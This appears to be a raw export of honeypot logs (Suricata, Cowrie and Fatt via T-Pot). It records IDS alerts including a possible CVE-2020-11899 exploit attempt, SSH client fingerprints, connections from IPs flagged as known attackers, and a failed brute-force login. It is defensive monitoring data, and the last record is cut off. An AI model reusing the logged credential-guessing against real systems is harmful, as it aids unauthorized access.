35447	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:08:46.94528+03	2021-09-20 15:15:03.272691+03	{"_id": "EAYbA3wBvYTbRNuE1FxH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:46.943532+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 180}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246624548268, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:08:46.945280Z", "@timestamp": "2021-09-20T12:08:46.945Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
35448	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 15:08:47.323698+03	2021-09-20 15:15:03.27369+03	{"_id": "EQYbA3wBvYTbRNuE1FxH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:47.323698+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 78}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0001:fff0:9f02", "flow_id": 653492055175282, "payload": "AAAAAP6AAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 135, "timestamp": "2021-09-20T12:08:47.323698Z", "@timestamp": "2021-09-20T12:08:47.323Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............"}}	1	\N	\N	alert	\N	\N
35449	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:08:47.379175+03	2021-09-20 15:15:03.275691+03	{"_id": "FwYbA3wBvYTbRNuE1VxL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "203.176.71.44", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48835, "timestamp": "2021-09-20T12:08:47.379175", "@timestamp": "2021-09-20T12:08:47.379Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35450	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 15:08:47.694991+03	2021-09-20 15:15:03.27669+03	{"_id": "HAYbA3wBvYTbRNuE11wM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "8b00df73fcd3", "@version": "1", "timestamp": "2021-09-20T12:08:47.694991Z", "@timestamp": "2021-09-20T12:08:47.694Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
35451	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:08:48.314654+03	2021-09-20 15:15:03.27769+03	{"_id": "HQYbA3wBvYTbRNuE2Fwx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:48.314654+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 95}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0001:0003", "flow_id": 497365699054878, "payload": "YI8AAAABAAAAAAAAD0RFU0tUT1AtMFZRRDYxQgAA/wAB", "@version": "1", "in_iface": "enp5s0", "src_port": 49954, "app_proto": "failed", "dest_port": 5355, "timestamp": "2021-09-20T12:08:48.314654Z", "@timestamp": "2021-09-20T12:08:48.314Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "`............DESKTOP-0VQD61B....."}}	1	\N	\N	alert	\N	\N
35458	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 15:08:49.073337+03	2021-09-20 15:15:03.28769+03	{"_id": "NQYbA3wBvYTbRNuE2lz1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.login.failed", "message": "login attempt [natalie/natalie] failed", "session": "8b00df73fcd3", "@version": "1", "password": "natalie", "username": "natalie", "timestamp": "2021-09-20T12:08:49.073337Z", "@timestamp": "2021-09-20T12:08:49.073Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35452	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:08:48.418783+03	2021-09-20 15:15:03.27969+03	{"_id": "HgYbA3wBvYTbRNuE2Fwx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:48.265960+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "87.251.67.120", "flow_id": 1295540273811176, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 45070, "timestamp": "2021-09-20T12:08:48.418783Z", "@timestamp": "2021-09-20T12:08:48.418Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
35453	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:08:48.306281+03	2021-09-20 15:15:03.28069+03	{"_id": "HwYbA3wBvYTbRNuE2Fwx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:48.306281Z", "@timestamp": "2021-09-20T12:08:48.306Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35454	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:08:48.310282+03	2021-09-20 15:15:03.282692+03	{"_id": "IAYbA3wBvYTbRNuE2Fwx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:46.943532+0000", "pkts_toclient": 0, "pkts_toserver": 7, "bytes_toclient": 0, "bytes_toserver": 670}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246624548268, "payload": "AAAAAgQAAAD/AgAAAAAAAAAAAAAAAAD7BAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:08:48.310282Z", "@timestamp": "2021-09-20T12:08:48.310Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...................................."}}	1	\N	\N	alert	\N	\N
35455	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:08:48.311125+03	2021-09-20 15:15:03.28369+03	{"_id": "JwYbA3wBvYTbRNuE2Fwx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:48.311125Z", "@timestamp": "2021-09-20T12:08:48.311Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35456	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:08:48.812156+03	2021-09-20 15:15:03.28469+03	{"_id": "KwYbA3wBvYTbRNuE2Fwx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:48.812156Z", "@timestamp": "2021-09-20T12:08:48.812Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35457	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:08:48.318272+03	2021-09-20 15:15:03.28669+03	{"_id": "KgYbA3wBvYTbRNuE2Fwx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:08:46.943532+0000", "pkts_toclient": 0, "pkts_toserver": 8, "bytes_toclient": 0, "bytes_toserver": 760}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246624548268, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:08:48.318272Z", "@timestamp": "2021-09-20T12:08:48.318Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
35460	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 15:09:00.395204+03	2021-09-20 15:15:03.290689+03	{"_id": "VQYcA3wBvYTbRNuEBVzy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "5423cb7eee14", "@version": "1", "timestamp": "2021-09-20T12:09:00.395204Z", "@timestamp": "2021-09-20T12:09:00.395Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
35461	113.105.80.34	109.199.241.180	Suricata	2021-09-20 15:09:00.394497+03	2021-09-20 15:15:03.29269+03	{"_id": "WAYcA3wBvYTbRNuEB1wX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "flow_id": 972408410061865, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33808, "dest_port": 22, "timestamp": "2021-09-20T12:09:00.394497Z", "@timestamp": "2021-09-20T12:09:00.394Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
35462	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:09:00.11773+03	2021-09-20 15:15:03.29369+03	{"_id": "WQYcA3wBvYTbRNuECFwa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.105.80.34", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33808, "timestamp": "2021-09-20T12:09:00.117730", "@timestamp": "2021-09-20T12:09:00.117Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35463	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 15:09:00.113587+03	2021-09-20 15:15:03.29469+03	{"_id": "VgYcA3wBvYTbRNuEBVzy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.105.80.34:33808 (192.168.176.2:22) [session: 5423cb7eee14]", "session": "5423cb7eee14", "@version": "1", "protocol": "ssh", "src_port": 33808, "dest_port": 22, "timestamp": "2021-09-20T12:09:00.113587Z", "@timestamp": "2021-09-20T12:09:00.113Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35464	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 15:09:00.116508+03	2021-09-20 15:15:03.29569+03	{"_id": "VwYcA3wBvYTbRNuEBVzy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "5423cb7eee14", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:09:00.116508Z", "@timestamp": "2021-09-20T12:09:00.116Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35465	113.105.80.34	109.199.241.180	Fatt	2021-09-20 15:09:00.394583+03	2021-09-20 15:15:03.297691+03	{"_id": "WgYcA3wBvYTbRNuECFwa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": 